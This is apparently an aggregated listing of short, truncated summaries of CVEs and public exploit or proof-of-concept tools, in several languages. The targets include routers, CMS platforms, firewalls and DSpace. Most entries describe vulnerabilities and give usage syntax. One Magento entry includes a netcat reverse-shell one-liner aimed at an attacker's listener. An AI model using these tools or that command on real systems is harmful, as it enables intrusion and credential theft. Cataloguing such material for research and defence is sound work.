Emlog 2.1.9 - SQL Injection

emlog v2.1.9 contains a SQL injection caused by unsanitized input in the data backup/restore functionality, allowing attackers to execute arbitrary SQL commands through crafted backup files. id: CVE-2023-39121 info: name: Emlog 2.1.9 - SQL Injection author: wjch611 severity: high description: |...

Wavlink WL-WN530HG4 M30HG4.V5030.201217 - Information Disclosure

An access control issue in Wavlink WL-WN530HG4 M30HG4.V5030.201217 allows unauthenticated attackers to download configuration data and log files and obtain admin credentials. id: CVE-2022-48166 info: name: Wavlink WL-WN530HG4 M30HG4.V5030.201217 - Information Disclosure author: ritikchaddha...

Wavlink WL-WN533A8 M33A8.V5030.190716 - Information Disclosure

An access control issue in the component /cgi-bin/ExportLogs.sh of Wavlink WL-WN533A8 M33A8.V5030.190716 allows unauthenticated attackers to download configuration data and log files and obtain admin credentials. id: CVE-2022-48164 info: name: Wavlink WL-WN533A8 M33A8.V5030.190716 - Information...

CVE-2024-3400

CVE-2024-3400 PoC solo con fines educativos. úsalo únicamente en servidores que tengas permiso de probar. Cómo usar dependencias: root@kitploit: $ pip install rich escanear targets.txt: root@kitploit: $ python run.py -f targets.txt -t 10 - Sending 102 requests... + Requests sent. Writing check...

CVE-2022-3552

CVE-2022-3552 为了利用BoxBlilling中的漏洞，版本必须为："BoxBilling=4.22.1.5"，并且你必须拥有 有效的管理员凭据 。 如果你满足上述条件，以下是获取美味的RCE（远程代码执行）所需的步骤： 创建一个 Python 虚拟环境（Linux） root@kitploit: python3 -m venv .venv root@kitploit: source .venv/bin/activate 现在安装这个 pwntools 库 root@kitploit: pip3 install pwntools 如果报错缺少依赖，你可能还需要安装一些系统包：...

CVE-2023-23752

CVE-2023-23752 关于 此漏洞利用可实现认证绕过，泄露管理员用户名和密码，同时也会泄露 MySQL 配置的用户名、密码、主机和数据库 仅影响版本 4.00 = 4.28 用法 root@kitploit: usage: exploit.sh -h -u URL -t TARGETS CVE-2023-23752 - Joomla! 认证绕过信息泄露 options: -h, --help 显示此帮助信息并退出 -u URL, --url URL 要扫描的单个 URL -t TARGETS, --targets TARGETS 包含多个要扫描的 URL 的文件 概念验证 POC...

CVE-2018-14772

CVE-2018-14772 信息 这是用于 CVE-2018-14772 的概念验证远程代码执行漏洞利用程序，该漏洞是我在 pydio 文件共享平台中发现的。它需要拥有 pydio 应用程序管理员凭证才能运行。你可以这样运行该利用程序： 用法 root@kitploit: $ python exploit.py -h usage: exploit.py -h -t TARGET -u USERNAME -p PASSWORD -L LISTENERIP -P LISTENERPORT --payload PAYLOAD exploit some pydio boxes...

CVE-2021-22911-rust

CVE-2021-22911 关于此CVE的Rust概念验证。用作 https://tryhackme.com/room/rocket 的一部分，这是一个在TryHackMe学习平台上的CTF从启动到root的挑战。 使用前，更新main.rs中的常量并运行，它应该可以直接工作。要求您拥有管理员电子邮件地址和用户名，并且未启用MFA。 基于 https://www.exploit-db.com/exploits/49960，一个依赖于启用MFA的Python实现（并且对于此版本的RocketChat无法直接使用）。...

Fortinet-CVE-2022-40684

Fortinet-CVE-2022-40684 Descripción de la herramienta Herramienta de explotación rápida para CVE-2022-40684. Código para principiantes; si hay problemas, no dudes en abrir un issue. Uso main -t http://127.0.0.1 -u admin -f path-of-ssh-key.pub Aviso legal Esta herramienta está destinada únicamente...

CVE-2015-1397-Magento-Shoplift

CVE-2015-1397-Magento-Shoplift 漏洞详情 漏洞出现在 HackTheBox 的 SwagShop 中 阶段 1 = exploit.py 获取 Magento CMS 管理后台的管理员凭据 阶段 2 = postauth.py 将 exploit.py 获取的凭据添加到 postauth.py 后，运行： root@kitploit: python3 postauth.py http://TARGET.SITE/index.php/admin "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc YOUR...

Tenda-F3-V4

Tenda F3 路由器漏洞利用与文件下载器 该项目是一个工具，用于通过未经身份验证的漏洞（CVE-2020-35391）从 Tenda F3 路由器（v3/v4）下载各种文件。它允许你从易受攻击的路由器获取配置文件、系统日志和闪存转储。 概述 该脚本利用了 Tenda F3 路由器中发现的一个漏洞，使攻击者无需认证即可下载敏感文件。具体来说，可以下载以下文件（我正在研究增加更改密码的可能性）： 配置文件 RouterCfm.cfg（包含所有明文信息） 系统日志文件 RouterSystem.log 闪存转储 RouterFlash.bin 从配置文件中提取管理员用户名和密码 功能特点...

CVE-2026-1459-POC

CVE-2026-1459-POC POC para el CVE-2026-1459 cuyo payload cambia la contraseña SSH de root. Requiere credenciales de administración válidas, cambia la contraseña de root temporalmente; reiniciar restablecerá la contraseña de root. Funciona en VMG3625-T50B y similares, se garantiza su funcionamient...

SimpleCTF-UpdatedExploit

CMS Made Simple -c -w 参数 -u, --url：目标 CMS Made Simple 实例的基础 URL（例如 http://example.com/cms）。 -c, --crack：可选。尝试使用提供的字典文件破解管理员密码。 -w, --wordlist：可选。用于密码破解的字典文件路径。 示例 示例 1：提取信息而不进行密码破解 root@kitploit: python3 updated46635.py -u http://example.com/cms 示例 2：提取信息并破解密码 root@kitploit: python3 updated46635....

CVE-2026-3055-Scanner---Herramienta-de-Detecci-n

🔍 CVE-2026-3055 Scanner - NetScaler Memory Overread Detection Tool ⚠️ ADVERTENCIA Esta herramienta es solo para fines educativos y de pruebas autorizadas. No utilizar en sistemas sin permiso explícito del propietario. 📋 Descripción Herramienta de detección para CVE-2026-3055 que identifica...

CVE-2026-79588

U-speed WIFI4 N300 T1 Pro v1.0.0 is vulnerable to Cleartext transmission of administration credentials over HTTP...

CVE-2026-79588

U-speed WIFI4 N300 T1 Pro v1.0.0 , a USB Wi-Fi 4 N300 T1 Pro adapter, is vulnerable to cleartext transmission of administration credentials over HTTP . An attacker on the adjacent network can intercept unencrypted admin credentials without requiring prior privileges or user interaction, resulting...

EUVD-2026-74263

U-speed WIFI4 N300 T1 Pro v1.0.0 is vulnerable to Cleartext transmission of administration credentials over HTTP...

CVE-2026-49833 DSpace: Path Traversal possible in LDN message generation

DSpace open source software is a repository application which provides durable access to digital resources. From versions 8.0-rc1 to before 8.4, 9.0-rc1 to before 9.3, and 10-rc1 to before 10.0, a path traversal vulnerability is possible via the COAR Notify / LDN service in DSpace. The attacker...

CVE-2026-49833 DSpace: Path Traversal possible in LDN message generation

DSpace open source software is a repository application which provides durable access to digital resources. From versions 8.0-rc1 to before 8.4, 9.0-rc1 to before 9.3, and 10-rc1 to before 10.0, a path traversal vulnerability is possible via the COAR Notify / LDN service in DSpace. The attacker...

mikrot8over

mikrot8over mikrot8over: strumento di sfruttamento rapido per Mikrotik RouterOS fino alla versione 6.38.4 Descrizione Questa è una rielaborazione dell'originale Mikrotik Exploit. Sono state aggiunte la compatibilità con Python 2 e funzionalità di scansione multithreading. Versione Python L'utilit...